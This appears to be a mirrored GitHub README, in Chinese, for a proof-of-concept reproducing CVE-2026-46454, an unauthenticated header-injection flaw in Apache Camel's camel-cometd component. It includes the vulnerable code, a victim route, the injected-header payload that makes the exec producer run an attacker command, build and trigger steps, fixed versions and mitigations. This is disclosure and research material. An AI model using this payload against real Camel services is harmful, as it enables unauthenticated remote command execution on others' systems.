oscerd/CVE-2026-46454
GitHub: oscerd/CVE-2026-46454
该项目复现了 Apache Camel camel-cometd 组件的未授权消息头注入漏洞（CVE-2026-46454），演示了攻击者如何通过注入 Camel 控制标头操纵下游生产者并实现远程代码执行。
Stars: 0 | Forks: 0
# camel-cometd 入站 Bayeux Header 注入复现代码 (CVE-2026-46454)
本项目演示了 Apache Camel 的 `camel-cometd` 组件中的一处**消息头注入**漏洞，编号为
**CVE-2026-46454**。该组件在将入站 Bayeux (CometD) 消息头映射到 Camel Exchange 时**没有使用
`HeaderFilterStrategy`**。`CometdBinding.createCamelMessage` 会将 CometD 客户端提供的整个 `ext.CamelHeaders` 映射
直接复制到 Camel 消息中（`message.setHeaders(...)`），因此任何标头名称——包括
Camel 内部控制标头，如 `CamelHttpUri`、`CamelFileName`、`CamelJmsDestinationName`（或者像本例中的
`camel-exec` 控制标头）——都会被原封不动地接受。由于 `CometdComponent` 默认**不安装任何 Bayeux
`SecurityPolicy`**，任何能够完成 Bayeux 握手的客户端都可以在**无需身份验证**的情况下发布此类消息，
并操纵路由中下游的生产者。
安全公告： headers = getHeadersFromMessage(cometdMessage); // reads client-supplied ext.CamelHeaders
if (headers != null) {
message.setHeaders(headers); // <-- no HeaderFilterStrategy
}
```
客户端可以控制 `ext.CamelHeaders`，因此它可以设置 Exchange 上的任何 Camel 控制标头。
修复方案（4.14.8 / 4.18.3 / 4.21.0）实现了一个 `HeaderFilterStrategy`（代码中存在已久的 TODO），
该策略在入站映射时以不区分大小写的方式过滤 `Camel*` / `camel*` 命名空间。
## 受害者路由
```
from("cometd://0.0.0.0:8088/service/inject")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
```
攻击者向 `/service/inject` 发布消息，并带有 `ext.CamelHeaders = { CamelExecCommandExecutable:
"/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }`；绑定层会将它们映射到 Exchange 上，
exec 生产者从而运行了攻击者的命令。
## 仓库布局
独立运行：camel-cometd 消费者在应用内部运行一个嵌入式 Bayeux 服务器（端口 8088），
而 `/exploit/attack` 端点则作为未经身份验证的 CometD 客户端。
```
CVE-2026-46454/
├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo")
│ └── ExploitController.java # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker（用于运行复现程序）
## 复现步骤
### 步骤 1：构建并启动容器
```
mvn clean package -DskipTests
docker compose up -d --build
```
### 步骤 2：触发标头注入（RCE）
```
curl -s http://localhost:8080/exploit/attack
# -> 已握手（未认证）并使用 ext.CamelHeaders = {...} 发布到 /service/inject。
# camel-cometd consumer 将它们映射到 Exchange 上；exec producer 运行了该命令。
# # >>> RCE 证明 — /tmp/pwned 存在：true
```
### 步骤 3：验证
```
docker exec cve-2026-46454 ls -la /tmp/pwned
```
### 清理
```
docker compose down
```
## 攻击向量
任何使用 camel-cometd 消费者并向行为由 Camel
标头控制的下游生产者提供数据的路由——例如 HTTP 生产者 (`CamelHttpUri`)、文件生产者 (`CamelFileName`)、JMS 生产者
(`CamelJmsDestinationName`)、exec 生产者 (`CamelExecCommand*`) 等。任何能够对
Bayeux 端点进行握手的客户端都可以注入这些标头；默认情况下无需身份验证。注入的标头在跨越内部 `direct`、`seda` 和 `vm` 跳转时也会保留。
## 利用条件
1. 在受影响版本上有一个 camel-cometd 消费者，并且路由到了一个受标头控制的生产者。
2. `CometdComponent` 上没有 Bayeux `SecurityPolicy`（默认情况），因此任何客户端都可以发布消息。
## 推荐修复方案
升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23507)，这些版本为 cometd 绑定添加了 `HeaderFilterStrategy`，
在入站映射时阻止客户端提供的 `Camel*` / `camel*` 标头。
## 缓解措施
在升级之前：
1. 在路由开始时剥离 Camel 控制标头：
`.removeHeaders("Camel*")` 和 `.removeHeaders("camel*")`。
2. 在 `CometdComponent` 上显式安装 Bayeux `SecurityPolicy`，以便只有经过身份验证的客户端才能
发布。
## 免责声明
此复现代码仅用于**安全研究和授权测试**，针对的是一个**已公开披露并已修复**的
漏洞。未经明确许可，请勿将其用于任何系统。
标签：Apache Camel, CometD, CVE-2026-46454, JS文件枚举, 域名枚举, 消息头注入, 漏洞复现, 版权保护, 请求拦截